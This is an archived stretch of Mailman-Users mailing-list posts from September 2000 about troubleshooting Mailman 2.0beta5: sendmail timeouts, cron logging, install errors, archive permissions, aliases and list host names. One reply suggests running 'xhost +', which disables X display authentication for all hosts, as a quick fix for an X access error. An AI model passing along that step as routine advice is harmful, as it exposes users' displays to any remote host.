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US-bound grad students! For pre-apps, see <URL:http://quickapps.cjb.net/>
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script.





From chuqui at plaidworks.com  Tue Sep  5 17:22:54 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 5 Sep 2000 08:22:54 -0700
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <4.3.2.7.2.20000905042204.00d63b80@vtserf.cc.vt.edu>
References: <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>
 <14771.55039.68543.961182@trooper.velocet.net>
 <20000904090601.A21502@iskon.hr>
 <14771.55039.68543.961182@trooper.velocet.net>
 <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>
 <4.3.2.7.2.20000905042204.00d63b80@vtserf.cc.vt.edu>
Message-ID: <p0432040fb5dabee0c9ce@[209.239.169.197]>

Thanks!

At 4:39 AM -0400 9/5/00, Ron Jarrell wrote:
>  I also run an MCI_CACHE_SIZE of 30,

intersting. I haven't tried that. I'll have to..

>with a timeout of 35, and have the QUEUE_SORT_ORDER set to host.

I've done a fair amount of work with queuesortorder, and I found it 
actually didn't speed anything up. On my larger systems, delivery 
took just as long. FWIW, YMMMV. So I stopped using it.

>  (Although I'll
>go in every few days and run a special queue run sorted by time with 
>higher timeouts,
>to catch problematic hosts.

I just ran sendmail out of cron once an hour with queuesortorder=time...

>For other interesting timeouts, I lowered the IDENT timeout to 15 
>seconds (too many
>PCs were broken w.r.t things hitting their ident ports,

I set IDENT to 0, to turn it off completely. So much is broken, and 
many firewalls don't propogate it. It's pretty worthless. Even 15 
seconds isn't worth it.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From Ralf.Ebeling at baslerweb.com  Tue Sep  5 18:14:18 2000
From: Ralf.Ebeling at baslerweb.com (Ebeling, R.)
Date: Tue, 5 Sep 2000 18:14:18 +0200 
Subject: [Mailman-Users] How to get rid of cron messages...
Message-ID: <850597605E79D21182830008C7A4B9CF03633322@COMM1>

> -----Original Message-----
> From: Satya [mailto:satyap at satya.virtualave.net]
> Sent: Tuesday, September 05, 2000 1:46 PM
> To: 'mailman-users at python.org'
> Subject: Re: [Mailman-Users] How to get rid of cron messages...
> 
> 
> On Sep 5, 2000 at 11:29, Ebeling, R. wrote:
> 
> >every time qrunner or gate_news is invoked by cron I get a line
> >in my syslog.
> >
> >Any idea, how to get rid of this line in syslog?
> 
> Redirect the output of the cron line to /dev/null:
> 
> * * * * * qrunner_foo_whatever >/dev/null

Hm, that only redirects the output of qrunner to /dev/nul. I get still
an entry like this:

/USR/SBIN/CRON[3974]: (mailman) CMD (/usr/bin/python -S
/home/mailman/cron/qrunner)

I know that I can switch this line off by a leading '-' in crontab.
But this works for root only and the script is invoked as mailman...

Ralf



From lra at insite.com.br  Tue Sep  5 18:33:03 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Tue, 5 Sep 2000 13:33:03 -0300 (EST)
Subject: [Mailman-Users] How to get rid of cron messages...
In-Reply-To: <850597605E79D21182830008C7A4B9CF03633322@COMM1>
Message-ID: <Pine.LNX.4.21.0009051328170.20634-100000@fantomas.insite.com.br>

On Tue, 5 Sep 2000, Ebeling, R. wrote:

> [...] I get still an entry like this:
> 
> /USR/SBIN/CRON[3974]: (mailman) CMD (/usr/bin/python -S
> /home/mailman/cron/qrunner)
> 
> I know that I can switch this line off by a leading '-' in crontab.
> But this works for root only and the script is invoked as mailman...

That is between cron and syslog. There is not much Mailman can do about
it. Try configuring syslog or cron to get rid of the message.

Regards, Leo.




From haroldp at sierraweb.com  Tue Sep  5 18:33:35 2000
From: haroldp at sierraweb.com (Harold Paulson)
Date: Tue, 5 Sep 2000 09:33:35 -0700
Subject: [Mailman-Users] Welcome for read-only lists?
In-Reply-To: <E13Vp0v-0004dd-00@smtp01.mrf.mail.rcn.net>
References: <E13Vp0v-0004dd-00@smtp01.mrf.mail.rcn.net>
Message-ID: <v04220801b5dace1e01e9@[209.160.232.254]>

>However, the default welcome e-mail message sent out when someone is
>subscribed to the list also contains instructions inviting subscribers
>to post messages to the list.  Bad.  And unless I've overlooked it, I
>don't see a way short of diving into the source code to edit the default
>welcome message instructions.  I am limited to writing a new preface for
>that message.  Still bad.

Don,

There is no easy way to do this, but luckily someone else has already 
mucked through the source and posted a patch to make it a little 
easier.  Dan Mick has a patch on SourceForge that will let you 
duplicate all of the files in templates/ inside the lists/listname/ 
folder.  Then you can edit each file on a per-list basis.

The patch is a neat work around, but I think this question gets asked 
enough for it to be an official Feature Request.  Web sites want 
broadcast lists.  It's a VERY common request.

	- H


Harold Paulson                  Sierra Web Design
haroldp at sierraweb.com           http://www.sierraweb.com
VOICE: 775.833.9500             FAX:   810.314.1517



From kwythers at forestry.umn.edu  Tue Sep  5 19:19:20 2000
From: kwythers at forestry.umn.edu (Kirk R. Wythers)
Date: Tue, 05 Sep 2000 12:19:20 -0500
Subject: [Mailman-Users] set up and install error - help
Message-ID: <39B52B18.88FB4D4E@forestry.umn.edu>

I'm trying to get Mailman set up and I'm getting the following error:

[mailman at lorax mailman-2.0beta5]$ bin/check_perms
Traceback (innermost last):
  File "bin/check_perms", line 35, in ?
    import paths
ImportError: No module named paths

When I try and look at line 35, I get the following:

[mailman at lorax bin]$ xemacs check_perms &
[1] 14955
[mailman at lorax bin]$ Xlib: connection to ":0.0" refused by server
Xlib: Client is not authorized to connect to Server

Initialization error: X server not responding
: ":0.0"

What am I doing wrong here?

Thanks,

Kirk

--
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Email: kwythers at forestry.umn.edu                 Department of Forest Resources
Tel: 612.625.22611530                            Cleveland Ave. N.
Fax: 612 625.5212                                Saint Paul,  MN 55108






From skvidal at phy.duke.edu  Tue Sep  5 19:21:18 2000
From: skvidal at phy.duke.edu (Seth Vidal)
Date: Tue, 5 Sep 2000 13:21:18 -0400 (EDT)
Subject: [Mailman-Users] set up and install error - help
In-Reply-To: <39B52B18.88FB4D4E@forestry.umn.edu>
Message-ID: <Pine.LNX.4.21.0009051320280.28204-100000@roma.phy.duke.edu>

> I'm trying to get Mailman set up and I'm getting the following error:
> 
> [mailman at lorax mailman-2.0beta5]$ bin/check_perms
> Traceback (innermost last):
>   File "bin/check_perms", line 35, in ?
>     import paths
> ImportError: No module named paths
> 
ok do you have  full python install?

since its obvious you are using redhat from the prompt - what version.

> When I try and look at line 35, I get the following:
 
> [mailman at lorax bin]$ xemacs check_perms &
> [1] 14955
> [mailman at lorax bin]$ Xlib: connection to ":0.0" refused by server
> Xlib: Client is not authorized to connect to Server
> 
> Initialization error: X server not responding
> : ":0.0"
> 
> What am I doing wrong here?


this is unrelated and probably related to su'ing to the other user.

-sv





From jarrell at vt.edu  Tue Sep  5 19:26:50 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Tue, 05 Sep 2000 13:26:50 -0400
Subject: [Mailman-Users] set up and install error - help
In-Reply-To: <39B52B18.88FB4D4E@forestry.umn.edu>
Message-ID: <4.3.2.7.2.20000905132610.030c8950@vtserf.cc.vt.edu>

At 12:19 PM 9/5/00 -0500, Kirk R. Wythers wrote:
>I'm trying to get Mailman set up and I'm getting the following error:
>
>[mailman at lorax mailman-2.0beta5]$ bin/check_perms
>Traceback (innermost last):
>  File "bin/check_perms", line 35, in ?
>    import paths
>ImportError: No module named paths


See the response I made on this very subject just a few hours ago.

You're not following the instructions; install first, then run it in ~mailman/bin, not
${srcdir}/bin.

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From steve at maller.com  Tue Sep  5 19:44:16 2000
From: steve at maller.com (Steve Maller)
Date: Tue, 5 Sep 2000 10:44:16 -0700
Subject: [Mailman-Users] Threading?
In-Reply-To: <p0432040fb5dabee0c9ce@[209.239.169.197]>
References: <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>
 <14771.55039.68543.961182@trooper.velocet.net>
 <20000904090601.A21502@iskon.hr>
 <14771.55039.68543.961182@trooper.velocet.net>
 <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>
 <4.3.2.7.2.20000905042204.00d63b80@vtserf.cc.vt.edu>
 <p0432040fb5dabee0c9ce@[209.239.169.197]>
Message-ID: <a05000e02b5dae0955542@[192.168.0.2]>

I have noticed that with my Redhat 6.2/Sendmail 8.9.3/Mailman 2.0b5 
setup that messages are sent out using a single thread.

Is there any way to paralellize this process at all? I noticed the 
MAX_DELIVERY_THREADS directive is set to 0 with warning that "if your 
Python interpreter was not built for threads, this feature is 
disabled."

I realize this is probably a FAQ, but is there a step-by-step gudie 
to doing this? And is the warning about "it may in fact degrade 
performance, possibly due to Python's global interpreter lock" still 
relevant (and true)?

Thanks!
-- 
Steve Maller
http://www.maller.com

The more I study religions the more I am convinced that man never
worshipped anything but himself.
     -- Sir Richard F. Burton



From chuqui at plaidworks.com  Tue Sep  5 19:50:16 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 5 Sep 2000 10:50:16 -0700
Subject: [Mailman-Users] Threading?
In-Reply-To: <a05000e02b5dae0955542@[192.168.0.2]>
References: <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>
 <14771.55039.68543.961182@trooper.velocet.net>
 <20000904090601.A21502@iskon.hr>
 <14771.55039.68543.961182@trooper.velocet.net>
 <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>
 <4.3.2.7.2.20000905042204.00d63b80@vtserf.cc.vt.edu>
 <p0432040fb5dabee0c9ce@[209.239.169.197]>
 <a05000e02b5dae0955542@[192.168.0.2]>
Message-ID: <p04320404b5dae2a85e35@[17.216.27.236]>

At 10:44 AM -0700 9/5/00, Steve Maller wrote:

>Is there any way to paralellize this process at all? I noticed the 
>MAX_DELIVERY_THREADS directive is set to 0 with warning that "if 
>your Python interpreter was not built for threads, this feature is 
>disabled."
>
>I realize this is probably a FAQ, but is there a step-by-step gudie 
>to doing this?


the threading code is experimental, and so far hasn't shown any real 
performance increase. It's still being hashed out exactly how we want 
to do this.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From lra at insite.com.br  Tue Sep  5 19:59:19 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Tue, 5 Sep 2000 14:59:19 -0300 (EST)
Subject: [Mailman-Users] set up and install error - help
In-Reply-To: <39B52B18.88FB4D4E@forestry.umn.edu>
Message-ID: <Pine.LNX.4.21.0009051428580.20634-100000@fantomas.insite.com.br>

Well, you have two problems here.

On Tue, 5 Sep 2000, Kirk R. Wythers wrote:

> I'm trying to get Mailman set up and I'm getting the following error:
> 
> [mailman at lorax mailman-2.0beta5]$ bin/check_perms
> Traceback (innermost last):
>   File "bin/check_perms", line 35, in ?
>     import paths
> ImportError: No module named paths

bin/check_perms is supposed to be run AFTER it is installed, from insite
the mailman home to check if it has been installed successfuly.

> When I try and look at line 35, I get the following:
> 
> [mailman at lorax bin]$ xemacs check_perms &
> [1] 14955
> [mailman at lorax bin]$ Xlib: connection to ":0.0" refused by server
> Xlib: Client is not authorized to connect to Server
> 
> Initialization error: X server not responding
> : ":0.0"
> 
> What am I doing wrong here?

This is completely unrelated to mailman, but you probably "su"ed to root
and then to mailman, keeping the DISPLAY variable set, and mailman is not
authorized to connect to your X display, which is to be expected. You have
the following options:

* as yourself, run the command "xhost +" to disable X authentication, or 

* as yourself, run "xauth list :0", and, as mailman, before running
xemacs, type  "xauth add <the result of running 'xauth list :0' as
yourself>" or

* type "export DISPLAY=" before running xemacs, so that xemacs runs in
console mode and don't try to connect to X

Regards, Leo





From jmerripen at avici.com  Tue Sep  5 20:47:42 2000
From: jmerripen at avici.com (jmerripen)
Date: Tue, 05 Sep 2000 14:47:42 -0400
Subject: [Mailman-Users] getting mailman to accept local email names
Message-ID: <39B53FCE.241420B0@avici.com>

This may have been answered before, but please bear with: 
Is there a way to get mailman to accept local mail addresses (i.e.
without the @host.com)
on the end of them?


-- 
"If a person offends you, and you are in doubt as to whether it was 
intentional or not, do not resort to extreme measures;  simply watch
your chance and hit him with a brick."  	-Samuel Clemens



From kenf at chronicle.com  Tue Sep  5 21:06:22 2000
From: kenf at chronicle.com (Ken Firestone)
Date: Tue, 5 Sep 2000 15:06:22 -0400 (EDT)
Subject: [Mailman-Users] set up and install error - help
In-Reply-To: <Pine.LNX.4.21.0009051428580.20634-100000@fantomas.insite.com.br>
Message-ID: <Pine.GSO.4.05.10009051504560.3345-100000@mencken>

On Tue, 5 Sep 2000, Leonardo Rochael Almeida wrote:

> 
> Well, you have two problems here.
> 
> On Tue, 5 Sep 2000, Kirk R. Wythers wrote:
> 
> > I'm trying to get Mailman set up and I'm getting the following error:
> > 
> > [mailman at lorax mailman-2.0beta5]$ bin/check_perms
> > Traceback (innermost last):
> >   File "bin/check_perms", line 35, in ?
> >     import paths
> > ImportError: No module named paths

I am getting the same error. I had already run make install, and I am
running as the mailman user from /home/mailman, from a command line
console.


Ken


> 
> bin/check_perms is supposed to be run AFTER it is installed, from insite
> the mailman home to check if it has been installed successfuly.
> 
> > When I try and look at line 35, I get the following:
> > 
> > [mailman at lorax bin]$ xemacs check_perms &
> > [1] 14955
> > [mailman at lorax bin]$ Xlib: connection to ":0.0" refused by server
> > Xlib: Client is not authorized to connect to Server
> > 
> > Initialization error: X server not responding
> > : ":0.0"
> > 
> > What am I doing wrong here?
> 
> This is completely unrelated to mailman, but you probably "su"ed to root
> and then to mailman, keeping the DISPLAY variable set, and mailman is not
> authorized to connect to your X display, which is to be expected. You have
> the following options:
> 
> * as yourself, run the command "xhost +" to disable X authentication, or 
> 
> * as yourself, run "xauth list :0", and, as mailman, before running
> xemacs, type  "xauth add <the result of running 'xauth list :0' as
> yourself>" or
> 
> * type "export DISPLAY=" before running xemacs, so that xemacs runs in
> console mode and don't try to connect to X
> 
> Regards, Leo
> 
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 




From r_denis at globalnet.hn  Tue Sep  5 20:11:33 2000
From: r_denis at globalnet.hn (Ricardo Denis)
Date: Tue, 05 Sep 2000 13:11:33 -0500
Subject: [Mailman-Users] (no subject)
Message-ID: <4.1.20000905130922.00bc8410@globalnet.hn>

hi,

i get this error when sending a message to the list. could it be a problem
with my /etc/aliases file?

  ----- The following addresses had permanent fatal errors -----
"|/home/mailman/mail/wrapper mailcmd test"
    (expanded from: <Test-request at hr2kos.globalnet.hn>)

thanks for any help.

rick


Donde esta Ricky? http://www.findu.com/cgi-bin/find.cgi?hr2kos-14



From michael at thies.org  Tue Sep  5 22:36:10 2000
From: michael at thies.org (Michael Thies)
Date: Tue, 5 Sep 2000 22:36:10 +0200
Subject: [Mailman-Users] how2 use mailman on multiple domains?
Message-ID: <20000905223610.C16120@thies.org>

hi you all,

we are using now majord00m and wanna migrate to mailman, but I have
one question on it, which is not answered in the mailman-howto (except
I didn't get it).

Is it possible to have ONE mailman-install on a host, which serves
several different maildomains in one exim-install.

With majordomo there was the possibility to tell in the majord00m with
the alias-file to be invoken with the "-h hostname.dom.ain" switch,
which made majord00m sending from this domain.

I'm not willing to have an instance of mailman running for each
mail-domain offering mailinglists.


TiA
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\o/
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From jeme at brelin.net  Tue Sep  5 22:43:10 2000
From: jeme at brelin.net (Jeme A Brelin)
Date: Tue, 5 Sep 2000 13:43:10 -0700 (PDT)
Subject: [Mailman-Users] Archives not working.
Message-ID: <Pine.LNX.4.21.0009051341260.27600-100000@shaft.bitmine.net>

I get an access forbidden.

[mailman at shaft]~$ ls -al
total 23
drwxrwsr-x   17 mailman  mailman      1024 Aug 13 00:41 ./
drwxrwsr-x   11 root     staff        1024 Aug 11 17:45 ../
-rw-------    1 mailman  mailman      2045 Aug 13 17:06 .bash_history
-rw-------    1 mailman  mailman      1154 Aug 13 00:41 .viminfo
drwxrwsr-x    6 mailman  mailman      2048 Sep  5 12:01 Mailman/
drwxrwsr-x    4 mailman  mailman      1024 Aug 11 20:02 archives/
drwxrwsr-x    2 mailman  mailman      1024 Aug 13 16:00 bin/
drwxrwsr-x    2 mailman  mailman      1024 Aug 13 16:01 cgi-bin/
drwxrwsr-x    2 mailman  mailman      1024 Aug 13 16:00 cron/
drwxrwsr-x    2 mailman  mailman      1024 Sep  5 12:12 data/
drwxrwsr-x    2 mailman  mailman      1024 Aug 13 16:00 filters/
drwxrwsr-x    3 mailman  mailman      1024 Aug 11 20:07 lists/
drwxrwsr-x    2 mailman  mailman      1024 Sep  5 13:12 locks/
drwxrwsr-x    2 mailman  mailman      1024 Aug 14 12:00 logs/
drwxrwsr-x    2 mailman  mailman      1024 Aug 13 16:01 mail/
drwxrwsr-x   13 mailman  mailman      1024 Aug 13 16:00 mailman-1.1/
drwxrwsr-x    2 mailman  mailman      1024 Aug 11 20:14 misc/
drwxrwsr-x    2 mailman  mailman      1024 Aug 13 16:00 scripts/
drwxrwsr-x    2 mailman  mailman      2048 Aug 13 16:01 templates/
[mailman at shaft]~$ ls -al ./archives
total 4
drwxrwsr-x    4 mailman  mailman      1024 Aug 11 20:02 ./
drwxrwsr-x   17 mailman  mailman      1024 Aug 13 00:41 ../
drwxrws--x    4 mailman  mailman      1024 Aug 13 17:00 private/
drwxrwsr-x    2 mailman  mailman      1024 Aug 11 20:07 public/
[mailman at shaft]~$ ls -al ./archives/public/
total 2
drwxrwsr-x    2 mailman  mailman      1024 Aug 11 20:07 ./
drwxrwsr-x    4 mailman  mailman      1024 Aug 11 20:02 ../
lrwxrwxrwx    1 mailman  mailman        41 Aug 11 20:07 poker ->
/usr/local/mailman/archives/private/poker/
lrwxrwxrwx    1 mailman  mailman        46 Aug 11 20:07 poker.mbox ->
/usr/local/mailman/archives/private/poker.mbox/
[mailman at shaft]~$ ls -al ./archives/private/
total 4
drwxrws--x    4 mailman  mailman      1024 Aug 13 17:00 ./
drwxrwsr-x    4 mailman  mailman      1024 Aug 11 20:02 ../
drwxrwsr-x    4 daemon   mailman      1024 Aug 13 17:00 poker/
drwxrwsr-x    2 mailman  mailman      1024 Aug 13 17:00 poker.mbox/
[mailman at shaft]~$ ls -al ./archives/private/poker
total 11
drwxrwsr-x    4 daemon   mailman      1024 Aug 13 17:00 ./
drwxrws--x    4 mailman  mailman      1024 Aug 13 17:00 ../
drwxrwsr-x    2 daemon   mailman      1024 Sep  5 11:58 2000q3/
-rw-rw-r--    1 daemon   mailman      5053 Sep  5 11:58 2000q3.txt
drwxrws---    2 daemon   mailman      1024 Sep  5 11:58 database/
-rw-rw-r--    1 daemon   mailman       861 Sep  5 11:58 index.html
-rw-rw-r--    1 daemon   mailman       459 Sep  5 11:58 pipermail.pck
[mailman at shaft]~$ ls -al ./archives/private/poker.mbox/
total 12
drwxrwsr-x    2 mailman  mailman      1024 Aug 13 17:00 ./
drwxrws--x    4 mailman  mailman      1024 Aug 13 17:00 ../
-rw-rw-r--    1 daemon   mailman      9953 Sep  5 11:58 poker.mbox


So what gives?

Any suggestions would be helpful.
Jeme.
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    jeme at brelin.net
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From tpepper at opensales.com  Wed Sep  6 00:04:05 2000
From: tpepper at opensales.com (Tim Pepper)
Date: Tue, 5 Sep 2000 15:04:05 -0700 (PDT)
Subject: [Mailman-Users] migrating lists and archives to another machine?
In-Reply-To: <20000904112400.A13044@server.onjapan.net>
Message-ID: <Pine.LNX.4.21.0009051503320.4554-100000@tp.sf.opensales.com>

On Mon, 4 Sep 2000, Jim Tittsler wrote:

> Barry Warsaw posted a message called "Moving Lists" to the
> mailman-users mailing list on 24 Nov 1999 where he described
> his "recipe" for moving a mailing list from one machine to
> another.

Has this been removed from the archive?  I don't see it there...

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From midnight at the-oasis.net  Wed Sep  6 01:36:24 2000
From: midnight at the-oasis.net (Phil Barnett)
Date: Tue, 5 Sep 2000 19:36:24 -0400
Subject: [Mailman-Users] Mailman Configuration
In-Reply-To: <39AD6248.7EE23FE0@nikocity.de>
Message-ID: <39B54B38.24386.C61AFD5@localhost>

On 30 Aug 2000, at 19:36, Elwin Ehlers wrote:

> Kasopa Wilbroad Chisanga wrote:
> 
> > Who may help me with the sample file  for apache config file and the
> > aliases file, only that part which affects the entries for Mailman.
> > I have installed it alright but I do not know what to specify in the
> > http.config file and the aliases.
> 
> 1
> 
> linuxkontor:~# newlist yourlist
> Enter the email of the person running the list: ee
> Initial yourlist password: 
> 
> Entry for aliases file:
> 
> ## yourlist mailing list
> ## created: 30-Aug-2000 root
> 2
> ---cut----------copy this in /etc/aliases-----------
> yourlist:                "|/var/lib/mailman/mail/wrapper post
> yourlist" yourlist-admin:          "|/var/lib/mailman/mail/wrapper
> mailowner yourlist" yourlist-request:       
> "|/var/lib/mailman/mail/wrapper mailcmd yourlist" owner-yourlist:     
>     yourlist-admin yourlist-owner:          yourlist-admin
> ---------------------------------------------------- 
3
> 
> :~# newaliases

maybe this is my problem. The only newaliases I find is one for elm 
mailer.

I believe that my /etc/aliases are not getting seen. What can I do?


-- 
              Phil Barnett  mailto:midnight at the-oasis.net
                       WWW  http://www.the-oasis.net/
                  FTP Site  ftp://ftp.the-oasis.net



From lindsey at mallorn.com  Wed Sep  6 01:45:37 2000
From: lindsey at mallorn.com (Christopher P. Lindsey)
Date: Tue, 5 Sep 2000 18:45:37 -0500
Subject: [Mailman-Users] Mailman Configuration
In-Reply-To: <39B54B38.24386.C61AFD5@localhost>; from midnight@the-oasis.net on Tue, Sep 05, 2000 at 07:36:24PM -0400
References: <39AD6248.7EE23FE0@nikocity.de> <39B54B38.24386.C61AFD5@localhost>
Message-ID: <20000905184537.D27343@mallorn.com>

> > :~# newaliases
> 
> maybe this is my problem. The only newaliases I find is one for elm 
> mailer.
> 
> I believe that my /etc/aliases are not getting seen. What can I do?

Assuming that you're using sendmail, make sure that /etc/aliases is
referenced in your sendmail config file:

   grep AliasFile /etc/sendmail.cf

If you don't have newaliases (which should be a symlink to sendmail),
you can run

   sendmail -bi

as root to build your alias database, too.

Chris



From tpepper at opensales.com  Wed Sep  6 02:00:37 2000
From: tpepper at opensales.com (Tim Pepper)
Date: Tue, 5 Sep 2000 17:00:37 -0700 (PDT)
Subject: [Mailman-Users] initial config problems with qmail
Message-ID: <Pine.LNX.4.21.0009051652140.25714-100000@tp.sf.opensales.com>

I'm trying to install mailman on RedHat6.2 machine running qmail.  I'm
actually using the RedHat rpm for 2.0beta5 (mailman-2.0beta5-3.i386.rpm).
I've modified the rpm to compile mailman with the cgi-id and cgi-gid set to
nobody as that is what my apache install runs as.  I've set the mail-gid to
qmail.  Everything appears okay, but when I create a newlist the test
confirmation notice doesn't go out.  In logs/post I get:

Sep 05 16:49:42 2000 (25702) post to test from mailman-owner at foo.com, size=1321, 1 failures

Nothing ever hits the qmail log.  No other mailman error messages appear.

This probably isn't much to go on, but does anybody have any ideas what could
be causing this?

--
*********************************************************
*  tim.pepper at opensales dot com     * Venimus, Vidimus, *
*  http://www.opensales.com         * Dolavimus         *
*********************************************************




From lindsey at mallorn.com  Wed Sep  6 02:44:03 2000
From: lindsey at mallorn.com (Christopher P. Lindsey)
Date: Tue, 5 Sep 2000 19:44:03 -0500
Subject: [Mailman-Users] getting mailman to accept local email names
In-Reply-To: <39B53FCE.241420B0@avici.com>; from jmerripen@avici.com on Tue, Sep 05, 2000 at 02:47:42PM -0400
References: <39B53FCE.241420B0@avici.com>
Message-ID: <20000905194403.E27343@mallorn.com>

> This may have been answered before, but please bear with: 
> Is there a way to get mailman to accept local mail addresses (i.e.
> without the @host.com)
> on the end of them?

Not really...  But in fairness to Mailman, RFC 822 says that any address
is supposed to have a domain attached.  Even the sendmail documentation
says that it's pretty much wrong to just allow the username as a return
address...

Chris



From marouni at earlham.edu  Wed Sep  6 03:07:12 2000
From: marouni at earlham.edu (Nick Marouf)
Date: Tue, 05 Sep 2000 20:07:12 -0500
Subject: [Mailman-Users] Converting from Majordomo to mailman
References: <Pine.LNX.4.21.0009051141380.20879-100000@talen.it.net.au> <20000905095134.A15670@iskon.hr>
Message-ID: <39B598C0.8F532B73@earlham.edu>

Hi,
	During the summer we had this same problem, when we had to convert over
300 mailing lists. We had a cs student Benjamin Bartlett
<bartlbe at cs.earlham.edu> write a conversion script for this, it
converted the lists, and also preserved the passwords, and some of the
majordomo settings that users had, and needed to have with mailman.

Maybe someone can put it on the Mailman page for others to use.


Nick

Zeljko Vrba wrote:
> 
> On Tue, Sep 05, 2000 at 11:42:25AM +0800, Peter Tran wrote:
> > Hi,
> >
> > Would anyone know of a tool to convert lists and archives from
> > majordomo to mailman?
> >
> > Any information would be appricated.
> >
> In the attachment is a hack that I wrote for converting Majordomo to Mailman.
> You can pipe its output to config_list. You must manually create the list.
> 
>   ------------------------------------------------------------------------
> 
>    import_majorName: import_major
>                Type: Plain Text (text/plain)
e
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Tel-office: 765-983-1801 
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From claw at nuron.com  Wed Sep  6 03:57:02 2000
From: claw at nuron.com (J C Lawrence)
Date: Tue, 05 Sep 2000 18:57:02 -0700
Subject: [Mailman-Users] Mailman b5 lockup 
In-Reply-To: Message from Chuq Von Rospach <chuqui@plaidworks.com> 
   of "Tue, 05 Sep 2000 00:44:23 PDT." <p0432040cb5da5470c9d5@[209.239.169.197]> 
References: <4.3.2.7.2.20000905032558.00d70dc0@vtserf.cc.vt.edu>  <p0432040cb5da5470c9d5@[209.239.169.197]> 
Message-ID: <6864.968205422@nuron.com>

On Tue, 5 Sep 2000 00:44:23 -0700 
Chuq Von Rospach <chuqui at plaidworks.com> wrote:

> That address is in Hungary, which is notorious for slow DNS.

I've found it makes a whole lot of sense to run a cacheing name
server on or near your list server and have become rather fond of
DJB's dnscache for this purpose (lightweight, fast and easy to
secure).

-- 
J C Lawrence                                 Home: claw at kanga.nu
---------(*)                                Work: claw at nuron.com
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--



From chuqui at plaidworks.com  Wed Sep  6 04:05:00 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 5 Sep 2000 19:05:00 -0700
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <6864.968205422@nuron.com>
References: <4.3.2.7.2.20000905032558.00d70dc0@vtserf.cc.vt.edu> 
 <p0432040cb5da5470c9d5@[209.239.169.197]> <6864.968205422@nuron.com>
Message-ID: <p04320406b5db5683ebdc@[209.239.169.197]>

At 6:57 PM -0700 9/5/00, J C Lawrence wrote:
>On Tue, 5 Sep 2000 00:44:23 -0700
>Chuq Von Rospach <chuqui at plaidworks.com> wrote:
>
>>  That address is in Hungary, which is notorious for slow DNS.
>
>I've found it makes a whole lot of sense to run a cacheing name
>server on


I do that. It's a HUGE win. And running it on your machine wins 
greatly over running it near your machine, since you cut all of the 
DNS<->MTA network overhead. Of course, you have to have memory to run 
it, but RAM is cheap and it's a great performance enhancer.

Just don't reboot the machine any more often than you need to... (grin)

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From abird at xonsys.com  Wed Sep  6 15:02:55 2000
From: abird at xonsys.com (Hans K. Yoon)
Date: Wed, 6 Sep 2000 22:02:55 +0900
Subject: [Mailman-Users] listname@hostname.domain.com
Message-ID: <GAEPKIJJCMCODCPJJOGGAEKKCIAA.abird@xonsys.com>

Dear list users.

I successfully installed mailman 2.0beta5.
But my mailling is some strange with other mailling list run by mailman 2.0beta5.

My mailman produces address as listname at hostname.domain.com.

If we have a maling list named 'notice' and I send to a message with address
notice at domain.com. Replyed message has the following header.

Return-Path: <notice-admin at hostname.domain.com>
To: xon at xonsys.com
Sender: xon-admin at ns.xonsys.com
Errors-To: xon-admin at ns.xonsys.com
X-BeenThere: xon at ns.xonsys.com
X-Mailman-Version: 2.0beta5
Precedence: bulk
List-Id:  <notice.ns.xonsys.com>

And list's web interface shows this list address as notice at hostname.domain.com.

My configuration is the following.
  * Linux Redhat 6.1
  * Sendmail 8.9.3
  * INN 2.3.0

~mailman/Mailman/Default.py has correct DEFAULT_HOST_NAME value.
This value is "domain.com".
I tried to solve this problem. But I failed. Pease help me.
Thanks.


Best regards,


From abird at xonsys.com  Wed Sep  6 15:10:45 2000
From: abird at xonsys.com (Hans K. Yoon)
Date: Wed, 6 Sep 2000 22:10:45 +0900
Subject: [Mailman-Users] listname@hostname.domain.com
In-Reply-To: <GAEPKIJJCMCODCPJJOGGAEKKCIAA.abird@xonsys.com>
Message-ID: <GAEPKIJJCMCODCPJJOGGIEKKCIAA.abird@xonsys.com>



-----Original Message-----
From: mailman-users-admin at python.org [mailto:mailman-users-admin at python.
org]On Behalf Of Hans K. Yoon
Sent: Wednesday, September 06, 2000 10:03 PM
To: mailman-users at python.org
Subject: [Mailman-Users] listname at hostname.domain.com


Dear list users.

I successfully installed mailman 2.0beta5.
But my mailling is some strange with other mailling list run by mailman 2.0beta5.

My mailman produces address as listname at hostname.domain.com.

If we have a maling list named 'notice' and I send to a message with address
notice at domain.com. Replyed message has the following header.

Return-Path: <notice-admin at hostname.domain.com>
To: xon at xonsys.com
Sender: xon-admin at ns.xonsys.com
Errors-To: xon-admin at ns.xonsys.com
X-BeenThere: xon at ns.xonsys.com
X-Mailman-Version: 2.0beta5
Precedence: bulk
List-Id:  <notice.ns.xonsys.com>

- above data is modified by me.
- some modification is not fully applied.
- please read the next.

Return-Path: <notice-admin at hostname.domain.com>
To: notice at domain.com
Sender: notice-admin at hostname.domain.com
Errors-To: notice-admin at hostname.domain.com
X-BeenThere: notice at hostname.domain.com
X-Mailman-Version: 2.0beta5
